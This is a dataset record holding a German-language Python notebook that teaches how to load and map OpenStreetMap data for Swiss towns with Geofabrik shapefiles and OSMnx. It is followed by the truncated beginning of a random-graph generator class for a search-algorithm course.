{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Open Street Map\n# \n# **Inhalt:** Daten aus einer Open Source Quelle ziehen\n# \n# **N\u00f6tige Skills**\n# - Geopandatenhandling\n# \n# **Lernziele**\n# - Einblick in Funktionsweise von OSM\n# - Vor-Aufbereitete OSM-Shapefiles laden\n# - Daten herunterladen mit `OSMnx`-Library\n\n# In[1]:\n\n\nfrom IPython.display import Image\n\n\n# In[2]:\n\n\nimport pandas as pd\nimport geopandas as gpd\n\n\n# In[3]:\n\n\nfrom shapely.geometry import Point, LineString, Polygon\n\n\n# In[4]:\n\n\nimport networkx as nx\nimport osmnx as ox\n\n\n# In[5]:\n\n\npd.set_option(\"display.max_rows\", 300)\n\n\n# ## \u00dcber Open Street Map\n\n# \u00abOpenStreetMap is a map of the world, created by people like you and free to use under an open license.\u00bb\n# \n# https://www.openstreetmap.org\n# \n# => Es ist das Google-Street-Map-\u00c4quivalent der Open-Source-Community.\n\n# In[6]:\n\n\nImage(\"dataprojects/osm/osm-luzern.png\")\n\n\n# About:\n# - https://de.wikipedia.org/wiki/OpenStreetMap\n# - https://wiki.openstreetmap.org/wiki/Main_Page\n\n# Man kann auf verschiedenen Wegen Daten aus OSM laden. Hier eine \u00dcbersicht: https://learnosm.org/de/osm-data/getting-data/\n\n# ## 1. via API\n# \n# F\u00fcr Softwareentwickler und professionelle Anwender gibt es die OSM API:\n# - Overpass API https://wiki.openstreetmap.org/wiki/Overpass_API\n# \n# Diese ist recht kompliziert, es gibt spezielles Tool, das einem hilft, den Querystring aufzubauen\n# - Overpass Turbo: http://overpass-turbo.eu/\n# \n# Wie man diese Tools in Python benutzen kann, liest man zB hier:\n# - https://towardsdatascience.com/loading-data-from-openstreetmap-with-python-and-the-overpass-api-513882a27fd0\n\n# Wir schauen uns stattdessen zwei andere Wege an\n\n# ## 2. via Geofabrik\n\n# Hier werden vor-aufbereitete Shapefiles aus OWM zum Download angeboten: http://download.geofabrik.de/\n\n# In[7]:\n\n\nImage(\"dataprojects/osm/geofabrik.png\")\n\n\n# Typischerweise werden dabei alle Informationen zu einem Land in ein grosses zip-Archiv gepackt (das Schweiz-File wiegt zB 628 MB!)\n\n# ### Daten laden\n\n# Um die neueste Version zu erhalten: **folgendes Zip-File runterladen**:\n\n# `http://download.geofabrik.de/europe/switzerland-latest-free.shp.zip`\n\n# im ZIP hat es dann einzelne Shapefiles zu verschiedenen Objektkategorien:\n# \n# - `gis_osm_buildings_a_free_1.shp`\n# - `gis_osm_landuse_a_free_1.shp`\n# - `gis_osm_natural_a_free_1.shp`\n# - `gis_osm_natural_free_1.shp`\n# - `gis_osm_places_a_free_1.shp`\n# - `gis_osm_places_free_1.shp`\n# - `gis_osm_pofw_a_free_1.shp`\n# - `gis_osm_pofw_free_1.shp`\n# - `gis_osm_pois_a_free_1.shp`\n# - `gis_osm_pois_free_1.shp`\n# - `gis_osm_railways_free_1.shp`\n# - `gis_osm_roads_free_1.shp`\n# - `gis_osm_traffic_a_free_1.shp`\n# - `gis_osm_traffic_free_1.shp`\n# - `gis_osm_transport_a_free_1.shp`\n# - `gis_osm_transport_free_1.shp`\n# - `gis_osm_water_a_free_1.shp`\n# - `gis_osm_waterways_free_1.shp`\n\n# Hier haben wir das Schweiz-Archiv bereits lokal entpackt.\n# \n# *Achtung:*\n# - lange Ladezeit...\n# - `encoding=\"utf-8\"` beachten\n\n# In[63]:\n\n\ngdf_osm = gpd.read_file(\"dataprojects/osm/switzerland-latest-free.shp/gis_osm_buildings_a_free_1.shp\", encoding=\"utf-8\")\n\n\n# Kein Wunder dauert es lange, das Datenfile mit allen Geb\u00e4uden der Schweiz hat fast 2,5 Millionen Zeilen.\n\n# In[64]:\n\n\ngdf_osm.shape\n\n\n# Der Vorteil an den Geofabrik-Daten: Sie sind sehr sch\u00f6n strukturiert:\n\n# In[65]:\n\n\ngdf_osm.head()\n\n\n# ### Datenstruktur\n\n# #### ID\n# \n# Jedes Element in diesem Geodataframe hat eine `osm_id`. Diese ID ist der Unique Identifier einer bestimmten Einheit in OSM. Wir treffen sie auch an, wenn wir auf anderem Wege Daten herunterladen oder direkt auf OSM danach suchen.\n# \n# Zum Beispiel das KKL Luzern: https://www.openstreetmap.org/relation/1661451\n\n# In[8]:\n\n\nImage(\"dataprojects/osm/kkl.png\")\n\n\n# In[67]:\n\n\ngdf_osm[gdf_osm['osm_id'] == '1661451']\n\n\n# #### name\n\n# Zu jedem Element, das eine `osm_id` hat, geh\u00f6rt netterweise auch ein `name`.\n\n# #### code \n# \n# Ein vierstelliger Code, der angibt, um was f\u00fcr eine Art von Feature es sich handelt (Strasse, Fluss, Stadt, Point of Interest, Schule, Spital, ...)\n# \n# Die ganze Liste der Codes findet sich hier: http://download.geofabrik.de/osm-data-in-gis-formats-free.pdf\n\n# In[68]:\n\n\ngdf_osm['code'].value_counts()\n\n\n# #### fclass\n# \n# Beschreibt den Code in Worten. Weil wir in diesem Shapefile nur Geb\u00e4ude geladen haben, lautet er immer `building`.\n\n# In[69]:\n\n\ngdf_osm['fclass'].value_counts()\n\n\n# #### geometry\n# \n# Die wichtigste Spalte: Enth\u00e4lt die geografischen Infos zu einem Feature, also zu einem Element der Karte. Das kann sein:\n# - ein `Point` \n# - ein `Linestring` (z.B. bei einer Strasse)\n# - ein `Polygon` (zB bei einem Geb\u00e4ude)\n\n# Wir k\u00f6nnen die Geometriespalte nutzen, um zB einen Kartenausschnitt (\u00abbbox\u00bb) f\u00fcr Luzern zu generieren.\n# \n# Dazu definieren wir zuerst ein Viereck mit den Eckpunkten: https://tools.retorte.ch/map/?swissgrid=2667889,1209686&zoom=14\n\n# In[70]:\n\n\nnorth, south, east, west = 47.06954, 47.03474, 8.2715, 8.33184\n\nLuzern = Polygon([[west, north], [east, north], [east, south], [west, south]])\n\n\n# In[71]:\n\n\nLuzern.wkt\n\n\n# Anschliessend k\u00f6nnen wir das Geodataframe filtern (das Vergleichskennwort heisst hier `within`)\n\n# In[72]:\n\n\ngdf_luzern = gdf_osm[gdf_osm.within(Luzern)]\n\n\n# In[73]:\n\n\ngdf_luzern.head()\n\n\n# In[74]:\n\n\ngdf_luzern.shape\n\n\n# #### type\n\n# Diese Spalte gibt bestimmte Details zum Geb\u00e4ude an. Ist allerdings nicht sehr zuverl\u00e4ssig, wie zB diese Suche zeigt: In Luzern haben nur drei Geb\u00e4ude den Typ \u00abuniversity\u00bb.\n\n# In[75]:\n\n\ngdf_luzern['type'].value_counts()\n\n\n# In[76]:\n\n\ngdf_luzern[gdf_luzern['type'] == 'university']\n\n\n# Nichtsdestotrotz k\u00f6nnen wir dieses Attribut zB nutzen, um gewisse Geb\u00e4ude beim Plotten farblich hervorzuheben.\n\n# In[77]:\n\n\n# Alle Geb\u00e4ude\nax = gdf_luzern.plot(figsize=(15,10), color='lightgrey')\n\n# Kirchen\ngdf_luzern[gdf_luzern['type'] == \"church\"].plot(color='green', ax=ax)\n\nax.set_title(\"Kirchen in Luzern\")\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# ## 3. via OSMnx\n\n# OSMnx ist eine alternative M\u00f6glichkeit, um Daten aus der Open Street Map zu laden.\n# \n# Es ist eine Python-Bibliothek, die anhand von selektiven Angaben\n# - die ein Suchquery bei der Overpass-API generiert und\n# - die Resultate zur praktischen Weiterverarbeitung aufbereitet\n# \n# OSMnx-Dokumentation: https://osmnx.readthedocs.io/en/stable/\n# \n# Beispiel-Notebooks zur Anwendung: https://github.com/gboeing/osmnx-examples/tree/main/notebooks\n# \n# Hier lernen wir einige M\u00f6glichkeiten kennen, welche diese Library bietet.\n\n# ## Datenabfrage: Boundaries\n\n# OSMnx kann anhand eines einfachen Suchstrings die OSM durchsuchen und liefert uns so z.B. die Umrisse eines bestimmten geografischen Gebiets.\n# \n# Die Funktion daf\u00fcr heisst `geocode_to_gdf()`:\n\n# In[6]:\n\n\ngdf = ox.geocode_to_gdf(\"Aargau, Switzerland\")\n\n\n# Wir erhalten ein Geodataframe mit einer einzigen Zeile.\n\n# In[7]:\n\n\ngdf\n\n\n# Diese Zeile entspricht einer geografischen Einheit auf Open Street Map.\n# \n# Wir erkennen das zB wenn wir auf OSM nach der `osm_id` suchen: https://www.openstreetmap.org/relation/1686359\n\n# In[8]:\n\n\nImage(\"dataprojects/osm/ag.png\")\n\n\n# Mit unserem Geodataframe k\u00f6nnen wir nun alles machen, was wir wollen. zB plotten:\n\n# In[9]:\n\n\ngdf.plot()\n\n\n# #### Mehrere Gebiete abfragen\n# \n# Mit einer Liste von Suchstrings k\u00f6nnen wir ein Geodatenframe erstellen, das mehrere Eintr\u00e4ge enth\u00e4lt.\n\n# In[10]:\n\n\nplaces = [\n    \"Kreis 1, Z\u00fcrich, Switzerland\",\n    \"Kreis 2, Z\u00fcrich, Switzerland\",\n    \"Kreis 3, Z\u00fcrich, Switzerland\",\n    \"Kreis 4, Z\u00fcrich, Switzerland\",\n    \"Kreis 5, Z\u00fcrich, Switzerland\",\n    \"Kreis 6, Z\u00fcrich, Switzerland\",\n    \"Kreis 7, Z\u00fcrich, Switzerland\",\n    \"Kreis 8, Z\u00fcrich, Switzerland\",\n    \"Kreis 9, Z\u00fcrich, Switzerland\",\n    \"Kreis 10, Z\u00fcrich, Switzerland\",\n    \"Kreis 11, Z\u00fcrich, Switzerland\",\n    \"Kreis 12, Z\u00fcrich, Switzerland\"\n]\ngdf = ox.geocode_to_gdf(places)\n\n\n# In[11]:\n\n\ngdf.plot()\n\n\n# #### Pr\u00e4zise Suche\n# \n# Manche Suchstrings k\u00f6nnen missverst\u00e4ndlich sein. ZB \u00abZ\u00fcrich, Switzerland\u00bb: Ist hier die Stadt oder der Kanton gemeint? Um Missverst\u00e4ndnisse auszuschliessen, k\u00f6nnen wir unsere Spezifikation in einem Dictionary pr\u00e4zisieren:\n\n# In[12]:\n\n\ngdf = ox.geocode_to_gdf(\n    {\n        \"state\": \"Z\u00fcrich\",\n        \"country\": \"Switzerland\"\n    }\n)\n\n\n# In[13]:\n\n\ngdf.plot()\n\n\n# #### Koordinatensystem\n# \n# Wichtig: Sobald wir mit diesen Daten kartografisch irgendwas sinnvolles machen wollen, sollten wir sie in ein passendes Koordinatensystem umprojizieren.\n\n# In[14]:\n\n\ngdf.crs\n\n\n# In[15]:\n\n\ngdf = gdf.to_crs(epsg=21781)\n\n\n# In[16]:\n\n\ngdf.plot()\n\n\n# ## Datenabfrage: Netzwerke\n\n# Um ein Strassennetzwerk aus OSM zu laden, machen wir zwei Schritte statt nur einen.\n\n# #### 1. Graph erstellen\n# \n# OSMnx l\u00e4dt die Daten zuerst in einen sogenannten Graph (des Typs `networkx`). Die Funktion dazu heisst `graph_from_place():`:\n\n# In[17]:\n\n\nG = ox.graph_from_place(\"Luzern, Switzerland\", network_type=\"drive\")\n\n\n# Diesen Graph k\u00f6nnen wir mix OSMnx auch bereits direkt plotten:\n\n# In[18]:\n\n\nox.plot_graph(G)\n\n\n# Um in Geopandas damit zu arbeiten, m\u00fcssen wir den Graph konvertieren mit `graph_to_gdfs()`:\n\n# In[19]:\n\n\ngdf_nodes, gdf_edges = ox.graph_to_gdfs(G)\n\n\n# Wir erhalten zwei Geodataframes, eines mit den Punkten (nodes) und eines mit den Linien (edges):\n\n# In[20]:\n\n\ngdf_nodes.head()\n\n\n# In[21]:\n\n\ngdf_edges.head()\n\n\n# ### BBox statt Suchstring\n\n# Statt mit einem Suchstring (\u00abLuzern, Switzerland\u00bb) k\u00f6nnen wir die Datensuche auch mit einer bounding box eingrenzen:\n\n# In[22]:\n\n\nnorth, south, east, west = 47.06954, 47.03474, 8.2715, 8.33184\n\n\n# Die Funktion heisst dann leicht anders: `graph_from_bbox()`\n\n# In[23]:\n\n\nG = ox.graph_from_bbox(north, south, east, west, network_type=\"drive\")\n\n\n# In[24]:\n\n\nox.plot_graph(G)\n\n\n# ### Metainformationen\n\n# In der Open Street Map hat es nebst den reinen Geoinformationen \u2013 so genannte \u00abnodes\u00bb (Punkte), \u00abways\u00bb (Linien) und \u00abrelations\u00bb (zusammengefasste nodes und ways) \u2013 auch eine Menge Metainformationen. Diese kann man mit OSMnx abfragen.\n\n# #### Netzwerktypen\n\n# Statt nach `network=\"drive\"` (fahrbare Strassen) k\u00f6nnen wir zum Beispiel auch nach anderen Strassennetzen suchen:\n# \n# - `drive` - get drivable public streets (but not service roads)\n# - `drive_service` - get drivable streets, including service roads\n# - `walk - get all` streets and paths that pedestrians can use (this network type ignores one-way directionality)\n# - `bike - get all` streets and paths that cyclists can use\n# - `all - download` all non-private OSM streets and paths\n# - `all_private` - download all OSM streets and paths, including private-access ones\n# \n\n# #### Filter\n\n# Und wir k\u00f6nnen die Suche mit so genannten Filtern weiter eingrenzen. ZB nur auf Autobahnen, mit `custom_filter=`:\n\n# In[25]:\n\n\nG = ox.graph_from_place(\"Aargau, Switzerland\", network_type=\"drive\", custom_filter='[\"highway\"~\"motorway\"]')\n\n\n# In[26]:\n\n\ngdf_nodes, gdf_edges = ox.graph_to_gdfs(G)\ngdf_edges = gdf_edges.to_crs(epsg=21781)\n\n\n# Wir k\u00f6nnen die aargauer Autobahnen plotten, zB indem wir zus\u00e4tzlich noch die Umrisse des Kantons holen:\n\n# In[27]:\n\n\ngdf_ag = ox.geocode_to_gdf(\"Aargau, Switzerland\")\ngdf_ag = gdf_ag.to_crs(epsg=21781)\n\n\n# In[28]:\n\n\nax = gdf_ag.plot(color=\"lightgrey\", linewidth=1, edgecolor='black')\nax.set_title(\"Autobahnen im AG\")\ngdf_edges.plot(color='red', ax=ax)\n\n\n# Wie kommt man auf diese Filterw\u00f6rter? Die Antwort lautet: Es sind so genannte Tags, die in OSM hinterlegt sind.\n\n# #### Tags\n\n# Schauen wir uns zun\u00e4chst unser Suchergebnis zu den Autobahnen nochmals an.\n# \n# Unser Filter hiess: '[\"highway\"~\"motorway\"]'\n# \n# Im Geodataframe finden wir diese Begriffe wieder:\n# - Es gibt eine Spalte namens \u00abhighway\u00bb\n# - Die Eintr\u00e4ge darin heissen \u00abmotorway\u00bb oder \u00e4hnlich.\n\n# In[29]:\n\n\ngdf_edges.head()\n\n\n# Wo diese Metainformation herkommt, erkennen wir auf der Online-Version von OSM, wenn wir eines der Features aus unserem Geodataframe dort abrufen: https://www.openstreetmap.org/way/827816284\n\n# In[30]:\n\n\nImage(\"dataprojects/osm/a3.png\")\n\n\n# Das betreffende Geoelement wurde auf OSM als \u00abhighway\u00bb getagged und hat, mit der Unterkategorie \u00abmotorway\u00bb.\n# \n# Das OSM-Wiki verr\u00e4t uns, was es alles f\u00fcr Typen von highways gibt: https://wiki.openstreetmap.org/wiki/Key:highway?uselang=en\n# \n# Und auch s\u00e4mtliche anderen Metainformationen zu diesem Autobahnteilst\u00fcck (\u00ablanes\u00bb, \u00aboneway\u00bb, \u00abmaxspeed\u00bb) finden wir in unserem Geodataframe wieder.\n\n# #### Andere Netzwerke\n\n# Welche anderen Tags k\u00f6nnen wir nutzen, um nach bestimmten Geofeatures zu suchen?\n# \n# Auf dem OSM-Wiki gibt es dazu eine ellenlange Liste: https://wiki.openstreetmap.org/wiki/Map_features\n# \n# - `\"aerialway\"`: Seilbahnen\n# - `\"amenity\"`: Jegliche Art von Objekt mit einer speziellen Funktion: `~\"bar\"`, `~\"library\"`, `~\"charging_station\"`, etc.\n# - `\"boundary\"`: eine Umgrenzung. In Kombination nutzbar mit `\"admin_level\"`\n# - `\"building\"`: ein Geb\u00e4ude. zB `~\"mosque\"`, `~\"train_station\"`, `~\"parking\"`, `~\"stadium\"`, etc.\n# - `\"landuse\"`: Wie ein bestimmtes Landst\u00fcck genutzt wird, zB `~\"farmland\"`\n# - `\"natural\"`: Elemente der Natur, zB `~\"glacier\"`, `~\"beach\"`, etc.\n# - etc.\n# \n# So k\u00f6nnen wir zB statt nach Strassen nach Eisenbahnen suchen:\n\n# In[31]:\n\n\nG = ox.graph_from_place(\"Aargau, Switzerland\", custom_filter='[\"railway\"~\"rail\"]')\n\n\n# In[32]:\n\n\nax = gdf_ag.plot(color=\"lightgrey\")\nax.set_title(\"Eisenbahnen im AG\")\n\ngdf_nodes, gdf_edges = ox.graph_to_gdfs(G)\ngdf_edges.to_crs(21781).plot(ax=ax)\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# ## Datenabfrage: Geometrien\n\n# Bis jetzt haben wir (Strassen-)netzwerke abgefragt. Mithilfe der auf OSM hinterlegten Tags k\u00f6nnen wir aber auch s\u00e4mtliche Geo-Elemente jeglicher herunterladen, die in einem bestimmten Gebiet vorhanden sind.\n\n# ### Geb\u00e4ude\n\n# Dazu gibt es die Funktion `geometries_from_place()`. Sie ben\u00f6tigt:\n# - eine geografische Eingrenzung der Suche (\"place\")\n# - eine (Reihe von) Tags, nach denen gesucht werden soll.\n\n# In[33]:\n\n\nplace = \"Wettingen, Switzerland\"\ntags = {\"building\": True}\ngdf_bldg = ox.geometries_from_place(place, tags)\n\n\n# In Wettingen sind zB \u00fcber 3000 Geb\u00e4ude erfasst:\n\n# In[34]:\n\n\ngdf_bldg.shape\n\n\n# Da es ziemlich viele Tags gibt, die sonst noch mit diesen Geb\u00e4uden verkn\u00fcpft sind, erhalten wir ein ziemlich breites GDF:\n\n# In[35]:\n\n\ngdf_bldg.columns\n\n\n# In[36]:\n\n\ngdf_bldg.head(5)\n\n\n# Wir sehen hier auch, dass das Geodatenframe drei \u00fcbergeordnete Indizes hat.\n# \n# Die ways (Pfade), relations (Sammlungen) und nodes (Punkte) sind separat aufgef\u00fchrt.\n\n# In[37]:\n\n\ngdf_bldg.index.get_level_values('element_type').value_counts()\n\n\n# Wir k\u00f6nnen uns aus diesem Multi-Index zB die Pfade heraussuchen.\n\n# In[38]:\n\n\ngdf_bldg = gdf_bldg[gdf_bldg.index.get_level_values('element_type') == 'way']\n\n\n# In[39]:\n\n\ngdf_bldg.head(2)\n\n\n# Jedes Geb\u00e4ude hat einen Pfad, das dessen Umriss angibt. Wir k\u00f6nnen so die Ge\u00e4bude plotten:\n\n# In[40]:\n\n\ngdf_bldg = gdf_bldg.to_crs(epsg=21781)\ngdf_bldg.plot(figsize=(10,10))\n\n\n# ## Anwendungen\n\n# Nachfolgend ein paar Beispiele, was wir in Geopandas mit den Datenabfragen anstellen k\u00f6nnen.\n\n# ### Plots von mehreren Datenabfragen\n\n# Wir haben das schon weiter oben gesehen. Mit `ax=...` k\u00f6nnen wir mehrere Plots \u00fcbereinanderlegen:\n\n# In[41]:\n\n\n# Abfrage und Plot der Gemeindegrenze\ngdf_we = ox.geocode_to_gdf(\"Wettingen, Switzerland\").to_crs(epsg=21781)\nax = gdf_we.plot(color='lightgrey', figsize=(10, 10))\n\n# Plot der Geb\u00e4ude (auf \"ax\")\ngdf_bldg.plot(figsize=(10,10), ax=ax)\n\n\n# ### Abgefragte Daten filtern\n\n# Wie bereits erw\u00e4hnt: Wir haben ein riesenbreites Geodataframe mit zig Metadaten.\n\n# In[42]:\n\n\ngdf_bldg.head(2)\n\n\n#  Wir k\u00f6nnen zB all die Geb\u00e4ude heraussuchen, die gleichzeitig auch eine \u00abamenity\u00bb eines bestimmten Typs sind.\n\n# In[43]:\n\n\ngdf_schools = gdf_bldg[gdf_bldg['amenity'] == 'school']\n\n\n# Das Ergebnis als Plot:\n\n# In[44]:\n\n\n# Gemeindegrenze\nax = gdf_we.plot(linewidth=0.5, edgecolor='black', color='lightgrey', figsize=(20, 20))\n\n# Alle Geb\u00e4ude\ngdf_bldg.plot(color='grey', ax=ax)\n\n# Schulen\ngdf_schools.plot(color='red', ax=ax)\n\n\n# Nun haben wir allerdings ein Problem: In Wettingen gibt es noch mehr Schulen als hier eingezeichnet sind.\n\n# ### Daten erg\u00e4nzen\n\n# Das Problem scheint zu sein: Einige der Schulen wurden zwar als \"amenity\": \"school\" kategorisiert, aber nicht als \"building\" :-/\n# \n# Wir holen uns deshalb von der OSM nochmals alle Geometrien raus, die als \"school\" getaggt wurden (aber nicht zwangsl\u00e4ufig auch als Geb\u00e4ude!\n\n# In[45]:\n\n\nplace = \"Wettingen, Switzerland\"\ntags = {\"amenity\": \"school\"}\ngdf_schools2 = ox.geometries_from_place(place, tags).to_crs(epsg=21781)\n\n\n# Ein Beispiel f\u00fcr einen solchen Eintrag ist das Schulhaus Altenburg:\n\n# In[46]:\n\n\ngdf_schools2[gdf_schools2['name'] == \"Altenburg\"]\n\n\n# Es wurden also gewisse Areale als Schule getaggt, aber nicht die dortigen Geb\u00e4ude.\n# \n# Was das heisst, sieht man, wenn man die Areale zum obigen Plot hinzuf\u00fcgt.\n\n# In[47]:\n\n\n# Gemeindegrenze\nax = gdf_we.plot(linewidth=0.5, edgecolor='black', color='lightgrey', figsize=(20, 20))\n\n# Alle Geb\u00e4ude\ngdf_bldg.plot(color='grey', ax=ax)\n\n# Schulen => aus Geb\u00e4uden\ngdf_schools.plot(color='red', ax=ax)\n\n# Schulen => aus Amenities\ngdf_schools2.plot(color='blue', linewidth=0.5, alpha=0.3, edgecolor='black', ax=ax)\n\n\n# #### L\u00f6sungsansatz:\n# \n# Geb\u00e4ude, die innerhalb der Schul-Areale liegen, umklassifizieren.\n# \n# Dazu nutzen wir die Funktion `unary_union`, um alle Schul-Areale zu einer gemeinsamen Shape zusammenzufassen.\n\n# In[48]:\n\n\ngdf_schools2.unary_union\n\n\n# Danach filtern wir die Geb\u00e4ude in unserem `gdf_bldg` danach, ob sie innerhalb dieser Shape liegen.\n# \n# Die passende Relation dazu heisst `within()`.\n# \n# Bei allen Treffern schreiben wir in der Spalte \u00abamenity\u00bb neu \u00fcberall \"school\" rein.\n\n# In[49]:\n\n\ngdf_bldg.loc[gdf_bldg['geometry'].within(gdf_schools2.unary_union), \"amenity\"] = \"school\"\n\n\n# Letzter Schritt: Wir filtern nochmals das Geb\u00e4ude-GDF, diesmal inklusive der neu klassifizierten Eintr\u00e4ge:\n\n# In[50]:\n\n\ngdf_schools = gdf_bldg[gdf_bldg['amenity'] == 'school']\n\n\n# Jetzt haben wir eine vollst\u00e4ndige (?) Sammlung aller Schulgeb\u00e4ude.\n\n# In[51]:\n\n\n# Gemeindegrenze\nax = gdf_we.plot(linewidth=0.5, edgecolor='black', color='lightgrey', figsize=(20, 20))\n\n# Alle Geb\u00e4ude\ngdf_bldg.plot(color='grey', ax=ax)\n\n# Schulen\ngdf_schools.plot(color='red', ax=ax)\n\n\n# ### R\u00e4umliche Berechnungen\n\n# Sobald wir Daten als Geodataframe vorliegen haben, k\u00f6nnen wir allerlei Berechnungen durchf\u00fchren.\n# \n# #### Zum Beispiel:\n# \n# Wie weit liegt ein bestimmtes Geb\u00e4ude von der n\u00e4chsten Bushaltestelle entfernt?\n# \n# Um das zu beantworten, laden wir uns aus der OSM die Busstationen in Wettingen.\n\n# In[52]:\n\n\nplace = \"Wettingen, Switzerland\"\ntags = {\"highway\": \"bus_stop\"}\ngdf_stops = ox.geometries_from_place(place, tags=tags).to_crs(epsg=21781)\n\n\n# In[53]:\n\n\ngdf_stops.shape\n\n\n# In[54]:\n\n\ngdf_stops.head()\n\n\n# Plot auf unserem Gemeindeplan mit den Geb\u00e4uden:\n\n# In[55]:\n\n\n# Gemeindeumriss\nax = gdf_we.plot(linewidth=0.5, edgecolor='black', color='#EEEEEE', figsize=(20, 20))\n\n# Geb\u00e4ude\ngdf_bldg.plot(color='#999999', ax=ax)\n\n# Bushaltestellen\ngdf_stops.plot(color='blue', markersize=25, ax=ax)\n\n\n# Wir k\u00f6nnen die Funktion `.distance()` nutzen, um die Distanz zwischen zwei Shapes zu berechnen.\n# \n# Wenn wir diese Funktion auf ein ganzes Dataframe anwenden, erhalten eine Liste von Distanzen: von jedem Element im DF zur angegebenen Shape.\n# \n# Hier zum Beispiel: die Distanzen s\u00e4mtlicher Bushaltestellen zum ersten Eintrag im Geb\u00e4ude-GDF:\n\n# In[56]:\n\n\ngdf_stops.distance(gdf_bldg.iloc[0]['geometry']).head(10)\n\n\n# Wenn wir aus dieser Liste das Minimum ausw\u00e4hlen, erhalten wir die Distanz von diesem Geb\u00e4ude zur *n\u00e4chsten* Bushaltestelle:\n\n# In[57]:\n\n\ngdf_stops.distance(gdf_bldg.iloc[0]['geometry']).min()\n\n\n# Diese Berechnung f\u00fchren wir nun mit s\u00e4mtlichen Geb\u00e4uden durch. Dazu nutzen wir `apply()`.\n# \n# Das Ergebnis speichern wir in einer neuen Spalte.\n\n# In[58]:\n\n\ngdf_bldg['distance_next_stop'] = gdf_bldg['geometry'].apply(lambda bldg: gdf_stops.distance(bldg).min())\n\n\n# Die Distanzen sind folgendermassen verteilt:\n\n# In[59]:\n\n\ngdf_bldg['distance_next_stop'].hist(bins=50)\n\n\n# Wir k\u00f6nnen nun auf unserem Plot zB die Geb\u00e4ude einf\u00e4rben entsprechend der Distanz zur n\u00e4chsten Bushaltestelle.\n# \n# Das Limit f\u00fcr die Colormap setzen wir auf 500 Meter, damit man die Unterschiede gut erkennt.\n\n# In[60]:\n\n\n# Gemeindeumrisse\nax = gdf_we.plot(linewidth=0.5, edgecolor='black', color='#000000', figsize=(20, 20))\n\n# Geb\u00e4ude, eingef\u00e4rbt entsprechend der Distanz\ngdf_bldg.plot(ax=ax, column='distance_next_stop', cmap='autumn_r', vmin=0, vmax=500)\n\nax.set_title(\"Wettingen AG: N\u00e4he zur Bushaltestelle\")\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "328f2037ab0b1cfb0b0cfe88d2da43e6a5c03fe5", "size": 20511, "ext": "py", "lang": "Python", "max_stars_repo_path": "Keith/Open Street Map.py", "max_stars_repo_name": "FabianV1984/TheMostDangerousSwissRoad", "max_stars_repo_head_hexsha": "e5ffdb6fae39c60d8b5d6247e9d2839f8103df98", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Keith/Open Street Map.py", "max_issues_repo_name": "FabianV1984/TheMostDangerousSwissRoad", "max_issues_repo_head_hexsha": "e5ffdb6fae39c60d8b5d6247e9d2839f8103df98", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Keith/Open Street Map.py", "max_forks_repo_name": "FabianV1984/TheMostDangerousSwissRoad", "max_forks_repo_head_hexsha": "e5ffdb6fae39c60d8b5d6247e9d2839f8103df98", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 22.0075107296, "max_line_length": 235, "alphanum_fraction": 0.7233679489, "include": true, "reason": "import networkx", "num_tokens": 6440, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.30404167496654744, "lm_q2_score": 0.23370636225126953, "lm_q1q2_score": 0.07105647382921468}}
{"text": "## INTRO.   Purpose of the GraphMaker class is to generate random graphs; these graphs can then also be edited, adding\r\n# or deleting edges while visually inspecting the evolving map.  This makes it quick and easy to create custom \"road\r\n# networks\" to use as search spaces for developing and visualizing the behavior of searching algorithms.\r\n#\r\n#  You ask it to create a graph, you can optionally ask it to\r\n# plot that graph for you for visual verification purposes.  You can then edit the graph as desired, quickly adding\r\n# or deleting edge.   Finall, you can export that graph as a simple text file of Edges\r\n# for use in other programs.\r\n#\r\n# The class has multiple parameters that you can set to fine tune the nature of the graphs produced.  For now, these are\r\n# just set by editing the values in the __init__ function below. For instance,\r\n# you can specify edge distance distortion, percentage of edges to drop (to make sparse graphs), min. distance between\r\n# nodes generated, etc. See comments in the init function below\r\n#\r\n## Usage examples:\r\n##  x=GraphMaker(20)    # create a new random 20 node map.\r\n#\r\n#   x.plot()  # now graphically show it\r\n#   x.edit()  # enter edit mode.  It repeatedly asks you to add/delete edges.\r\n#   x.export('outfile')   # exports the current map to the file \"outfile.txt\" in the working dir\r\n\r\n# TO-DO: implement a load-graph-from-file to *reload* a graph after saving...in case you want to edit and re-save\r\n\r\n__author__ = \"Eck Doerry\"\r\n__copyright__ = \"Copyright 2018, Northern Arizona University, Flagstaff AZ\"\r\n\r\n\r\nimport numpy as np\r\nimport scipy.spatial as graph\r\nimport matplotlib.pyplot as plt\r\nfrom node import Node\r\nfrom edge import Edge\r\n\r\nclass GraphMaker:\r\n\r\n    def __init__(self,nodeCount=10):\r\n        self.numNodes=nodeCount  # number of nodes to create in graph.  \r\n        self.expansion=2  # how wide the graph will be. Basically a factor that increases the x-y extents of plane\r\n        self.mindist = 0.3 * self.expansion  # the minimum separation distance between nodes.  Prevents cluttered graphs\r\n        # distDistortion.  Often you might want to have a graph where the distances are *based on* the actual\r\n        # distances, but not exactly that.  distDistortion is a percentage within which the cartesian distances\r\n        # between points will be randomly distorted while labeling the new edges in the graph.  So at 0.3, 30% of the\r\n        # distance will be randomly distorted between 0 and 100%.  So you could lose/gain 30% distance, randomly.\r\n        self.distDistortion = 0.5  # usually 0.3 is nice\r\n        # edgeLoss: in a roadmap, we don't want edges between EVERY point to EVERY other point.  Hence we randomly drop some edges\r\n        # the edgeLoss specifies the percentage of edges we should randomly drop\r\n        self.edgeLoss= 0.1\r\n        self.nodes=[] # array of node objects in this graph\r\n        self.edges=[] # array of edges in this graph\r\n        self.buildGraph()  # Build the new graph!  Commented out.  Call it separately after creation!\r\n\r\n    # if you don't like the graph generated, just try another one!\r\n    def redo(self,numNodes=-1):\r\n        self.edges=[]\r\n        self.nodes=[]\r\n        if numNodes>0: 